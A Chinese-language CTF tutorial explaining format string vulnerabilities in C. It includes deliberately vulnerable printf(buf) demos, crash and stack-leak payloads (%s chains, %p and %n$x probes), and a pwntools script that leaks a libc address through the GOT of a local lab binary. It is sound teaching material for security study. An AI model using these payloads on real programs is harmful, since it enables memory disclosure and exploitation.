PWN格式化字符串漏洞1(基礎(chǔ)知識(shí))

0x00 前言

主要參考《CTF權(quán)威指南(pwn篇)》和CTF-wiki
寫(xiě)了一些格式化字符串漏洞的基本原理,后續(xù)會(huì)補(bǔ)上幾個(gè)實(shí)戰(zhàn)的wp

0x01 格式化輸出函數(shù)

變參函數(shù)
變參函數(shù)就是參數(shù)數(shù)量可變的函數(shù)。這種函數(shù)由固定數(shù)量的強(qiáng)制參數(shù)和數(shù)量可變的可選參數(shù)組成,強(qiáng)制性參數(shù)在前,可選參數(shù)在后。
格式化字符串函數(shù)可以接受可變數(shù)量的參數(shù),并將第一個(gè)參數(shù)作為格式化字符串,根據(jù)其來(lái)解析之后的參數(shù)。通俗來(lái)說(shuō),格式化字符串函數(shù)就是將計(jì)算機(jī)內(nèi)存中表示的數(shù)據(jù)轉(zhuǎn)為人類(lèi)可讀的字符串格式。
常見(jiàn)的格式化字符串函數(shù)
輸入:
scanf
輸出:
fprintf() 輸出到指定FILE流,三個(gè)參數(shù)分別是流、格式化字符串和變量列表
printf 輸出到stdout

格式化字符串

%[parameter][flags][field width][.precision][length]type

格式字符串是由普通字符(包括"%")和轉(zhuǎn)換規(guī)則構(gòu)成的字符序列。普通字符被原封不動(dòng)地賦值到輸出流中。轉(zhuǎn)換規(guī)則則根據(jù)與實(shí)參對(duì)應(yīng)地轉(zhuǎn)換指示符對(duì)其進(jìn)行轉(zhuǎn)換,然后將結(jié)果寫(xiě)入輸出流中。
一個(gè)轉(zhuǎn)換規(guī)則由必須部分和可選部分組成。其中,只有轉(zhuǎn)換指示符(type)是必選部分,用來(lái)表示轉(zhuǎn)換類(lèi)型。
(1)parameter,用于指定某個(gè)參數(shù),例如%2$d,表示輸出后面的第2個(gè)參數(shù)。
(2)flags,用來(lái)調(diào)整輸出和打印的符號(hào)、空白、小數(shù)點(diǎn)等。
(3)width,用來(lái)指定輸出字符的最小個(gè)數(shù)。
(4)precision,用來(lái)指示打印符號(hào)個(gè)數(shù)、小數(shù)位數(shù)或者有效數(shù)字個(gè)數(shù)。
(5)length,用來(lái)指定參數(shù)的大小。
常見(jiàn)的轉(zhuǎn)換指示符和長(zhǎng)度

指示符    類(lèi)型           輸出
%d          4-byte        Integer
%d          4-byte        Unsigned Integer
%x          4-byte        Hex
%s          4-byte ptr   String
%c          1-byte        Character

長(zhǎng)度      類(lèi)型       輸出
hh         1-byte    char
h           2-byte    short int
l            4-byte    long int
ll           8-byte    long long int

0x02 格式化字符串漏洞

#include<stdio.h>
void main()
{
printf("%s %d %s","hello wordle",123,"\n");
}
gcc -m32 fmtdemo.c -o fmtdemo -g
pwndbg> disassemble main
Dump of assembler code for function main:
 ....
   0x0000052b <+14>:    push   ecx
   0x0000052c <+15>:    call   0x562 <__x86.get_pc_thunk.ax>
   0x00000531 <+20>:    add    eax,0x1aa7
   0x00000536 <+25>:    lea    edx,[eax-0x19e8]
   0x0000053c <+31>:    push   edx
   0x0000053d <+32>:    push   0x7b
   0x0000053f <+34>:    lea    edx,[eax-0x19e6]
   0x00000545 <+40>:    push   edx
   0x00000546 <+41>:    lea    edx,[eax-0x19d9]
   0x0000054c <+47>:    push   edx
   0x0000054d <+48>:    mov    ebx,eax
   0x0000054f <+50>:    call   0x3b0 <printf@plt>
   0x00000554 <+55>:    add    esp,0x10
...
End of assembler dump.
pwndbg> stack 30
00:0000│ esp  0xffffd00c —? 0x56555554 (main+55) ?— add    esp, 0x10
01:0004│      0xffffd010 —? 0x565555ff ?— and    eax, 0x64252073 /* '%s %d %s' */
02:0008│      0xffffd014 —? 0x565555f2 ?— push   0x6f6c6c65 /* 'hello wordle' */
03:000c│      0xffffd018 ?— 0x7b /* '{' */
04:0010│      0xffffd01c —? 0x565555f0 ?— or     al, byte ptr [eax] /* '\n' */
05:0014│      0xffffd020 —? 0xffffd040 ?— 0x1

進(jìn)入printf函數(shù)之前,程序?qū)?shù)從右向左一次壓棧。進(jìn)入printf()之后,函數(shù)首先獲取第一個(gè)參數(shù),一次讀取一個(gè)字符。如果字符不是“%”,那么字符串被直接賦值到輸出。否則,讀取下一個(gè)非空字符,獲取相應(yīng)的參數(shù)并解析輸出。
修改一下上邊的程序,為格式字符串加上"%x %x %x %3$s",使其出現(xiàn)格式化字符串漏洞

#include<stdio.h>
void main()
{
printf("%s %d %s %x %x %x %3$s","hello world",223,"\n");
}

? 0xf7e2c430 <printf>       call   __x86.get_pc_thunk.ax <__x86.get_pc_thunk.ax>
        arg[0]: 0x56555554 (main+55) ?— add    esp, 0x10
        arg[1]: 0x565555ff ?— and    eax, 0x64252073 /* '%s %d %s %x %x %x %3s$s' */
        arg[2]: 0x565555f2 ?— push   0x6f6c6c65 /* 'hello wordle' */
        arg[3]: 0x7b

00:0000│ esp  0xffffd00c —? 0x56555557 (main+58) ?— add    esp, 0x10
01:0004│      0xffffd010 —? 0x565555fe ?— and    eax, 0x64252073 /* '%s %d %s %x %x %x %3s$s' */
02:0008│      0xffffd014 —? 0x565555f2 ?— push   0x6f6c6c65 /* 'hello world' */
03:000c│      0xffffd018 ?— 0xdf
04:0010│      0xffffd01c —? 0x565555f0 ?— or     al, byte ptr [eax] /* '\n' */
05:0014│      0xffffd020 —? 0xffffd040 ?— 0x1
06:0018│      0xffffd024 ?— 0x0
pwndbg> c
Continuing.
hello world 223 
 ffffd040 0 0 
[Inferior 1 (process 38286) exited with code 040]

打印出七個(gè)值,而參數(shù)只有三個(gè),所以后面的三個(gè)"%x"打印的是0xffffd020到0xffffd026的數(shù)據(jù),而最后一個(gè)參數(shù)"%3$s"則是對(duì)第三個(gè)參數(shù)"\n"的重用。

再看一個(gè)例子,省去格式字符串,轉(zhuǎn)而由外部輸入提供

#include<stdio.h>
void main()
{
    char buf[50];
    if(fgets(buf,sizeof buf,stdin) == NULL)
        return;
    printf(buf);
}
00:0000│ esp          0xffffcfbc —? 0x5655561f (main+82) ?— add    esp, 0x10
01:0004│              0xffffcfc0 —? 0xffffcfda ?— '"Hello %x %x %x !\\n"\n'
02:0008│              0xffffcfc4 ?— 0x32 /* '2' */
03:000c│              0xffffcfc8 —? 0xf7fb35c0 (_IO_2_1_stdin_) ?— 0xfbad2288
04:0010│              0xffffcfcc —? 0x565555e4 (main+23) ?— add    ebx, 0x19e8
05:0014│              0xffffcfd0 ?— 9 /* '\t' */
06:0018│              0xffffcfd4 —? 0xffffd28f ?— '/home/jason/CTF/ctf_wiki/string/fmtdemo1'
07:001c│ eax-2 ecx-2  0xffffcfd8 ?— 0x4822b589

pwndbg> c
Continuing.
"Hello 32 f7fb35c0 565555e4 !\n"
[Inferior 1 (process 38390) exited normally]

在buf里輸入一些轉(zhuǎn)換指示符,那么printf()會(huì)把它當(dāng)成格式字符串進(jìn)行解析,漏洞由此發(fā)生,例如上面的輸入''Hello %x %x %x !\n",程序就把棧數(shù)據(jù)泄露了出來(lái)。
格式化字符串漏洞發(fā)生的條件就是格式字符串要求的參數(shù)和實(shí)際提供的參數(shù)不匹配。

0x03 漏洞利用

對(duì)于格式化字符串漏洞的利用主要有:使程序崩潰、棧數(shù)據(jù)泄露、任意地址內(nèi)存泄露、棧數(shù)據(jù)覆蓋、任意地址內(nèi)存覆蓋。

使程序崩潰

通常,下面的格式化字符串即可崩潰。
原因:(1)對(duì)于每一個(gè)"%s",printf()都要從棧中獲取一個(gè)數(shù)字,將其視為一個(gè)地址,然后打印出地址指向的內(nèi)存,直到出現(xiàn)一個(gè)空字符。
(2)獲取的某個(gè)數(shù)字可能并不是一個(gè)地址;
(3)獲得的數(shù)字確實(shí)是一個(gè)地址,但該地址是受保護(hù)的。

printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")

泄露內(nèi)存

泄露棧內(nèi)存

一般會(huì)有如下幾種操作
泄露棧內(nèi)存
獲取某個(gè)變量的值
獲取某個(gè)變量對(duì)應(yīng)地址的內(nèi)存
泄露任意地址內(nèi)存
利用GOT表得到libc函數(shù)地址,進(jìn)而獲取libc,進(jìn)而獲取其他libc函數(shù)地址
盲打,dump整個(gè)程序,獲取有用信息。

#include <stdio.h>
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}
?  leakmemory git:(master) ? gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c
leakmemory.c: In function ‘main’:
leakmemory.c:7:10: warning: format not a string literal and no format arguments [-Wformat-security]
   printf(s);
          ^

獲取棧變量數(shù)值
首先,利用格式化字符串來(lái)獲取棧上變量的數(shù)值。

 >./leakmemory
%08x.%08x.%08x
00000001.22222222.ffffffff.%08x.%08x.%08x
ffcbd090.f7f77410.0804849d

第二個(gè)printf函數(shù)輸出了一些內(nèi)容
gdb調(diào)試一下

? 0xf7e2c430 <printf>       call   __x86.get_pc_thunk.ax <__x86.get_pc_thunk.ax>
        arg[0]: 0x80484ea (main+100) ?— add    esp, 0x20
        arg[1]: 0x8048593 ?— and    eax, 0x2e783830 /* '%08x.%08x.%08x.%s\n' */
        arg[2]: 0x1
        arg[3]: 0x22222222 ('""""')
 
   0xf7e2c435 <printf+5>     add    eax, 0x186bcb
   0xf7e2c43a <printf+10>    sub    esp, 0xc
   0xf7e2c43d <printf+13>    mov    eax, dword ptr [eax - 0x5c]
   0xf7e2c443 <printf+19>    lea    edx, [esp + 0x14]
   0xf7e2c447 <printf+23>    sub    esp, 4
   0xf7e2c44a <printf+26>    push   edx
   0xf7e2c44b <printf+27>    push   dword ptr [esp + 0x18]
   0xf7e2c44f <printf+31>    push   dword ptr [eax]
   0xf7e2c451 <printf+33>    call   vfprintf <vfprintf>
 
   0xf7e2c456 <printf+38>    add    esp, 0x1c
────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────
00:0000│ esp  0xffffcf7c —? 0x80484ea (main+100) ?— add    esp, 0x20
01:0004│      0xffffcf80 —? 0x8048593 ?— and    eax, 0x2e783830 /* '%08x.%08x.%08x.%s\n' */
02:0008│      0xffffcf84 ?— 0x1
03:000c│      0xffffcf88 ?— 0x22222222 ('""""')
04:0010│      0xffffcf8c ?— 0xffffffff
05:0014│      0xffffcf90 —? 0xffffcfa0 ?— '%08x.%08x.%08x'
... ↓
07:001c│      0xffffcf98 —? 0xf7fd0410 —? 0x8048278 ?— inc    edi /* 'GLIBC_2.0' */
──────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────
 ? f 0 f7e2c430 printf
   f 1  80484ea main+100
   f 2 f7df3f21 __libc_start_main+241

棧中的第一個(gè)變量為返回地址,第二個(gè)變量為格式化字符串的地址,第三個(gè)變量為a的地址,第四個(gè)變量為b的值,第五個(gè)變量為c的值,第六個(gè)變量為我們輸入的格式化字符串對(duì)應(yīng)的地址。

pwndbg> c
Continuing.
00000001.22222222.ffffffff.%08x.%08x.%08x

程序確實(shí)輸出了每一個(gè)變量對(duì)應(yīng)的數(shù)值,并且斷在了下一個(gè)printf處。

? 0xf7e2c430 <printf>       call   __x86.get_pc_thunk.ax <__x86.get_pc_thunk.ax>
        arg[0]: 0x80484f9 (main+115) ?— add    esp, 0x10
        arg[1]: 0xffffcfa0 ?— '%08x.%08x.%08x'
        arg[2]: 0xffffcfa0 ?— '%08x.%08x.%08x'
        arg[3]: 0xf7fd0410 —? 0x8048278 ?— inc    edi /* 'GLIBC_2.0' */
 
   0xf7e2c435 <printf+5>     add    eax, 0x186bcb
   0xf7e2c43a <printf+10>    sub    esp, 0xc
   0xf7e2c43d <printf+13>    mov    eax, dword ptr [eax - 0x5c]
   0xf7e2c443 <printf+19>    lea    edx, [esp + 0x14]
   0xf7e2c447 <printf+23>    sub    esp, 4
   0xf7e2c44a <printf+26>    push   edx
   0xf7e2c44b <printf+27>    push   dword ptr [esp + 0x18]
   0xf7e2c44f <printf+31>    push   dword ptr [eax]
   0xf7e2c451 <printf+33>    call   vfprintf <vfprintf>
 
   0xf7e2c456 <printf+38>    add    esp, 0x1c
────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────
00:0000│ esp  0xffffcf8c —? 0x80484f9 (main+115) ?— add    esp, 0x10
01:0004│      0xffffcf90 —? 0xffffcfa0 ?— '%08x.%08x.%08x'
... ↓
03:000c│      0xffffcf98 —? 0xf7fd0410 —? 0x8048278 ?— inc    edi /* 'GLIBC_2.0' */
04:0010│      0xffffcf9c —? 0x804849d (main+23) ?— add    ebx, 0x1b63
05:0014│ eax  0xffffcfa0 ?— '%08x.%08x.%08x'
06:0018│      0xffffcfa4 ?— '.%08x.%08x'
07:001c│      0xffffcfa8 ?— 'x.%08x'
pwndbg> x/20wx $esp
0xffffcf8c: 0x080484f9  0xffffcfa0  0xffffcfa0  0xf7fd0410
0xffffcf9c: 0x0804849d  0x78383025  0x3830252e  0x30252e78
0xffffcfac: 0x00007838  0x00000000  0x00c30000  0x00000000
0xffffcfbc: 0xf7ffd000  0x00000000  0x00000000  0x00000000
0xffffcfcc: 0xcef79800  0x00000009  0xffffd28b  0xf7e0b589

此時(shí),由于格式化字符串為%x%x%x,所以,程序會(huì)將棧上的0xffffcf94及其之后的數(shù)值分別作為第一,第二,第三個(gè)參數(shù)按照int型進(jìn)行解析,分別輸出。繼續(xù)運(yùn)行,可以得到如下結(jié)果

pwndbg> c
Continuing.
ffffcfa0.f7fd0410.0804849d[Inferior 1 (process 41601) exited normally]

同樣地,也可以用%p代替%08x來(lái)獲取數(shù)據(jù)。

有沒(méi)有辦法直接獲取棧中被視為第n+1個(gè)參數(shù)的值呢?
有,方法如下:
%n$x
比如要獲得printf的第4個(gè)參數(shù)所對(duì)應(yīng)的值

? 0xf7e2c430 <printf>       call   __x86.get_pc_thunk.ax <__x86.get_pc_thunk.ax>
        arg[0]: 0x80484f9 (main+115) ?— add    esp, 0x10
        arg[1]: 0xffffcfa0 ?— '%3$x'
        arg[2]: 0xffffcfa0 ?— '%3$x'
        arg[3]: 0xf7fd0410 —? 0x8048278 ?— inc    edi /* 'GLIBC_2.0' */
 
   0xf7e2c435 <printf+5>     add    eax, 0x186bcb
   0xf7e2c43a <printf+10>    sub    esp, 0xc
   0xf7e2c43d <printf+13>    mov    eax, dword ptr [eax - 0x5c]
   0xf7e2c443 <printf+19>    lea    edx, [esp + 0x14]
   0xf7e2c447 <printf+23>    sub    esp, 4
   0xf7e2c44a <printf+26>    push   edx
   0xf7e2c44b <printf+27>    push   dword ptr [esp + 0x18]
   0xf7e2c44f <printf+31>    push   dword ptr [eax]
   0xf7e2c451 <printf+33>    call   vfprintf <vfprintf>
 
   0xf7e2c456 <printf+38>    add    esp, 0x1c
────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────
00:0000│ esp  0xffffcf8c —? 0x80484f9 (main+115) ?— add    esp, 0x10
01:0004│      0xffffcf90 —? 0xffffcfa0 ?— '%3$x'
... ↓
03:000c│      0xffffcf98 —? 0xf7fd0410 —? 0x8048278 ?— inc    edi /* 'GLIBC_2.0' */
04:0010│      0xffffcf9c —? 0x804849d (main+23) ?— add    ebx, 0x1b63
05:0014│ eax  0xffffcfa0 ?— '%3$x'
06:0018│      0xffffcfa4 ?— 0x0
07:001c│      0xffffcfa8 —? 0xf7ffd940 ?— 0x0
──────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────
 ? f 0 f7e2c430 printf
   f 1  80484f9 main+115
   f 2 f7df3f21 __libc_start_main+241
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/20wx $esp
0xffffcf8c: 0x080484f9  0xffffcfa0  0xffffcfa0  0xf7fd0410
0xffffcf9c: 0x0804849d  0x78243325  0x00000000  0xf7ffd940
0xffffcfac: 0x000000c2  0x00000000  0x00c30000  0x00000000
0xffffcfbc: 0xf7ffd000  0x00000000  0x00000000  0x00000000
0xffffcfcc: 0x6699d200  0x00000009  0xffffd28b  0xf7e0b589
pwndbg> c
Continuing.
804849d[Inferior 1 (process 41830) exited normally]

的確獲得了printf的第4個(gè)參數(shù)所對(duì)應(yīng)的值804849d

獲取棧變量對(duì)應(yīng)字符串
獲得棧變量對(duì)應(yīng)的字符串,這其實(shí)就是需要用到%s了。

? 0xf7e2c430 <printf>       call   __x86.get_pc_thunk.ax <__x86.get_pc_thunk.ax>
        arg[0]: 0x80484f9 (main+115) ?— add    esp, 0x10
        arg[1]: 0xffffcfa0 ?— 0x7325 /* '%s' */
        arg[2]: 0xffffcfa0 ?— 0x7325 /* '%s' */
        arg[3]: 0xf7fd0410 —? 0x8048278 ?— inc    edi /* 'GLIBC_2.0' */
 
   0xf7e2c435 <printf+5>     add    eax, 0x186bcb
   0xf7e2c43a <printf+10>    sub    esp, 0xc
   0xf7e2c43d <printf+13>    mov    eax, dword ptr [eax - 0x5c]
   0xf7e2c443 <printf+19>    lea    edx, [esp + 0x14]
   0xf7e2c447 <printf+23>    sub    esp, 4
   0xf7e2c44a <printf+26>    push   edx
   0xf7e2c44b <printf+27>    push   dword ptr [esp + 0x18]
   0xf7e2c44f <printf+31>    push   dword ptr [eax]
   0xf7e2c451 <printf+33>    call   vfprintf <vfprintf>
 
   0xf7e2c456 <printf+38>    add    esp, 0x1c
────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────
00:0000│ esp  0xffffcf8c —? 0x80484f9 (main+115) ?— add    esp, 0x10
01:0004│      0xffffcf90 —? 0xffffcfa0 ?— 0x7325 /* '%s' */
... ↓
03:000c│      0xffffcf98 —? 0xf7fd0410 —? 0x8048278 ?— inc    edi /* 'GLIBC_2.0' */
04:0010│      0xffffcf9c —? 0x804849d (main+23) ?— add    ebx, 0x1b63
05:0014│ eax  0xffffcfa0 ?— 0x7325 /* '%s' */
06:0018│      0xffffcfa4 ?— 0x1
07:001c│      0xffffcfa8 —? 0xf7ffd940 ?— 0x0
──────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────
 ? f 0 f7e2c430 printf
   f 1  80484f9 main+115
   f 2 f7df3f21 __libc_start_main+241
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> c
Continuing.
%s[Inferior 1 (process 41904) exited normally]

第二次執(zhí)行printf時(shí),將0xffffcfa0處的變量視為字符串變量,輸出了其數(shù)值所對(duì)應(yīng)的地址處的字符串。
當(dāng)然,如果對(duì)應(yīng)的變量不是字符串的地址,那么,程序就會(huì)直接崩潰

:~/CTF/ctf_wiki/string$ ./leakmemory
%4$s
00000001.22222222.ffffffff.%4$s
段錯(cuò)誤

小技巧總結(jié)

a.利用%x來(lái)獲取對(duì)應(yīng)棧的內(nèi)存,但建議使用%p,可以不用考慮位數(shù)的區(qū)別。
b.利用%s來(lái)獲取變量所對(duì)應(yīng)的內(nèi)容,只不過(guò)有零階段。
c.利用%orderx來(lái)獲取指定參數(shù)的值,利用%orders來(lái)獲取指定參數(shù)對(duì)應(yīng)地址的內(nèi)容。

泄露任意地址內(nèi)存

泄露某一個(gè)libc函數(shù)的got表內(nèi)容,從而得到其地址,進(jìn)而獲取libc版本以及其他函數(shù)的地址,這時(shí)候,能夠完全控制泄露某個(gè)指定地址的內(nèi)存就顯得很重要了。
一般來(lái)說(shuō),在格式化字符串漏洞中,我們所讀取的格式化字符串都是在棧上的(因?yàn)槭悄硞€(gè)函數(shù)的局部變量,本例中 s 是 main 函數(shù)的局部變量)。那么也就是說(shuō),在調(diào)用輸出函數(shù)的時(shí)候,其實(shí),第一個(gè)參數(shù)的值其實(shí)就是該格式化字符串的地址。我們選擇上面的某個(gè)函數(shù)調(diào)用為例。

00:0000│ esp  0xffffcf8c —? 0x80484f9 (main+115) ?— add    esp, 0x10
01:0004│      0xffffcf90 —? 0xffffcfa0 ?— 0x7325 /* '%s' */
... ↓
03:000c│      0xffffcf98 —? 0xf7fd0410 —? 0x8048278 ?— inc    edi /* 'GLIBC_2.0' */
04:0010│      0xffffcf9c —? 0x804849d (main+23) ?— add    ebx, 0x1b63
05:0014│ eax  0xffffcfa0 ?— 0x7325 /* '%s' */
06:0018│      0xffffcfa4 ?— 0x1
07:001c│      0xffffcfa8 —? 0xf7ffd940 ?— 0x0

棧上的第二個(gè)變量就是格式化字符串地址0xffffcfa0,同時(shí)該地址存儲(chǔ)的也確實(shí)是"%s"格式化字符串內(nèi)容。
由于我們可以控制該格式化字符串,如果我們知道該格式化字符串在輸出函數(shù)調(diào)用時(shí)是第幾個(gè)參數(shù),這里假設(shè)該格式化字符串相對(duì)函數(shù)調(diào)用為第k個(gè)參數(shù)。那我們就可以通過(guò)如下的方式來(lái)獲取某個(gè)指定地址addr的內(nèi)容.
addr%k$s
下面就是如何確定該格式化字符串為第幾個(gè)參數(shù)的問(wèn)題了,我們可以通過(guò)如下方式確定

[tag]%p%p%p%p%p...

如下:

./leakmemory
AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
00000001.22222222.ffffffff.AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAA.0xffa5c6c0.0xf7f82410.0x804849d.0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025

由0x41414141處所在的位置可以看出我們的格式化字符串的其實(shí)地址正好是輸出函數(shù)的第5個(gè)參數(shù),但是是格式化字符串第4個(gè)參數(shù)??梢詼y(cè)試一下

./leakmemory
%4$s
00000001.22222222.ffffffff.%4$s
段錯(cuò)誤

崩潰了?因?yàn)槲覀冊(cè)噲D將該格式化字符串所對(duì)應(yīng)的值作為地址進(jìn)行解析,但是顯然該值沒(méi)有辦法作為一個(gè)合法的地址被解析,所以程序就崩潰了。參考如下調(diào)試:

 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ?  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
───────────────────────────────────────────────────────────────────[ stack ]────
['0xffffcd0c', 'l8']
8
0xffffcd0c│+0x00: 0x080484ce  →  <main+99> add esp, 0x10     ← $esp
0xffffcd10│+0x04: 0xffffcd20  →  "%4$s"
0xffffcd14│+0x08: 0xffffcd20  →  "%4$s"
0xffffcd18│+0x0c: 0x000000c2
0xffffcd1c│+0x10: 0xf7e8b6bb  →  <handle_intel+107> add esp, 0x10
0xffffcd20│+0x14: "%4$s"     ← $eax
0xffffcd24│+0x18: 0xffffce00  →  0x00000000
0xffffcd28│+0x1c: 0x000000e0
───────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0xf7e44670 → Name: __printf(format=0xffffcd20 "%4$s")
[#1] 0x80484ce → Name: main()
────────────────────────────────────────────────────────────────────────────────
gef?  help x/
Examine memory: x/FMT ADDRESS.
ADDRESS is an expression for the memory address to examine.
FMT is a repeat count followed by a format letter and a size letter.
Format letters are o(octal), x(hex), d(decimal), u(unsigned decimal),
  t(binary), f(float), a(address), i(instruction), c(char), s(string)
  and z(hex, zero padded on the left).
Size letters are b(byte), h(halfword), w(word), g(giant, 8 bytes).
The specified number of objects of the specified size are printed
according to the format.

Defaults for format and size letters are those previously used.
Default count is 1.  Default address is following last thing printed
with this command or "print".
gef?  x/x 0xffffcd20
0xffffcd20: 0x73243425
gef?  vmmap
Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-x /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
0x08049000 0x0804a000 0x00000000 r-- /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
0x0804a000 0x0804b000 0x00001000 rw- /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
0x0804b000 0x0806c000 0x00000000 rw- [heap]
0xf7dfb000 0xf7fab000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fab000 0xf7fad000 0x001af000 r-- /lib/i386-linux-gnu/libc-2.23.so
0xf7fad000 0xf7fae000 0x001b1000 rw- /lib/i386-linux-gnu/libc-2.23.so
0xf7fae000 0xf7fb1000 0x00000000 rw-
0xf7fd3000 0xf7fd5000 0x00000000 rw-
0xf7fd5000 0xf7fd7000 0x00000000 r-- [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffb000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffb000 0xf7ffc000 0x00000000 rw-
0xf7ffc000 0xf7ffd000 0x00022000 r-- /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x00023000 rw- /lib/i386-linux-gnu/ld-2.23.so
0xffedd000 0xffffe000 0x00000000 rw- [stack]
gef?  x/x 0x73243425
0x73243425: Cannot access memory at address 0x73243425

如果我們?cè)O(shè)置一個(gè)可訪問(wèn)的地址呢?比如scanf@got,結(jié)果自然是輸出scanf對(duì)應(yīng)的地址了。
首先,獲取scanf@got的地址,如下:

got

GOT protection: Partial RELRO | GOT functions: 3
 
[0x804a00c] printf@GLIBC_2.0 -> 0x8048336 (printf@plt+6) ?— push   0 /* 'h' */
[0x804a010] __libc_start_main@GLIBC_2.0 -> 0xf7df3e30 (__libc_start_main) ?— call   0xf7f122c9
[0x804a014] __isoc99_scanf@GLIBC_2.7 -> 0x8048356 (__isoc99_scanf@plt+6) ?— push   0x10

利用pwntools 構(gòu)造tools如下:

from pwn import *
sh = process('./leakmemory')
leakmemory = ELF('./leakmemory')
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'
print payload
gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got
sh.interactive()
? 0xf7d3c430 <printf>       call   __x86.get_pc_thunk.ax <__x86.get_pc_thunk.ax>
        arg[0]: 0x80484f9 (main+115) ?— add    esp, 0x10
        arg[1]: 0xffd7f120 —? 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) —? 0xf7d4ed10 (__isoc99_scanf) ?— push   ebp
        arg[2]: 0xffd7f120 —? 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) —? 0xf7d4ed10 (__isoc99_scanf) ?— push   ebp
        arg[3]: 0xf7ee0410 —? 0x8048278 ?— inc    edi /* 'GLIBC_2.0' */
 
   0xf7d3c435 <printf+5>     add    eax, 0x186bcb
   0xf7d3c43a <printf+10>    sub    esp, 0xc
   0xf7d3c43d <printf+13>    mov    eax, dword ptr [eax - 0x5c]
   0xf7d3c443 <printf+19>    lea    edx, [esp + 0x14]
   0xf7d3c447 <printf+23>    sub    esp, 4
   0xf7d3c44a <printf+26>    push   edx
   0xf7d3c44b <printf+27>    push   dword ptr [esp + 0x18]
   0xf7d3c44f <printf+31>    push   dword ptr [eax]
   0xf7d3c451 <printf+33>    call   vfprintf <vfprintf>
 
   0xf7d3c456 <printf+38>    add    esp, 0x1c
───────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
00:0000│ esp  0xffd7f10c —? 0x80484f9 (main+115) ?— add    esp, 0x10
01:0004│      0xffd7f110 —? 0xffd7f120 —? 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) —? 0xf7d4ed10 (__isoc99_scanf) ?— push   ebp
... ↓
03:000c│      0xffd7f118 —? 0xf7ee0410 —? 0x8048278 ?— inc    edi /* 'GLIBC_2.0' */
04:0010│      0xffd7f11c —? 0x804849d (main+23) ?— add    ebx, 0x1b63
05:0014│ eax  0xffd7f120 —? 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) —? 0xf7d4ed10 (__isoc99_scanf) ?— push   ebp
06:0018│      0xffd7f124 ?— '%4$s'
07:001c│      0xffd7f128 —? 0xf7f0d900 (catch_hook) ?— 0x0

此時(shí),在我們運(yùn)行的terminal下:

python2 exp.py
[+] Starting local process './leakmemory': pid 42723
[*] '/home/jason/CTF/ctf_wiki/string/leakmemory'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
0x804a014
\x14\x04%4$s
[*] running in new terminal: /usr/bin/gdb -q  "./leakmemory" 42723
[-] Waiting for debugger: debugger exited! (maybe check /proc/sys/kernel/yama/ptrace_scope)
0xf7d4ed10
[*] Switching to interactive mode
[*] Process './leakmemory' stopped with exit code 0 (pid 42723)
[*] Got EOF while reading in interactive

確實(shí)得到了scanf的地址。
但是,并不是說(shuō)所有的偏移機(jī)器字長(zhǎng)的整數(shù)倍,可以讓我們直接相應(yīng)參數(shù)來(lái)獲取,有時(shí)候,我們需要對(duì)我們輸入的格式化字符串進(jìn)行填充,來(lái)使得我們相應(yīng)打印的地址內(nèi)容的地址位于機(jī)器字長(zhǎng)整數(shù)倍的地址處。

覆蓋內(nèi)存

有沒(méi)有可能修改棧上變量的值呢,甚至修改任意地址變量的內(nèi)存呢?答案是可行的,只要變量對(duì)應(yīng)的地址可寫(xiě),就可以利用格式化字符串來(lái)修改其對(duì)應(yīng)的數(shù)值。

%n ,不輸出字符,到那時(shí)把已經(jīng)成功輸出的字符個(gè)數(shù)寫(xiě)入對(duì)應(yīng)的整型指針參數(shù)所指的變量。

通過(guò)這個(gè)類(lèi)型參數(shù),再加上一些小技巧,即可達(dá)到目的。
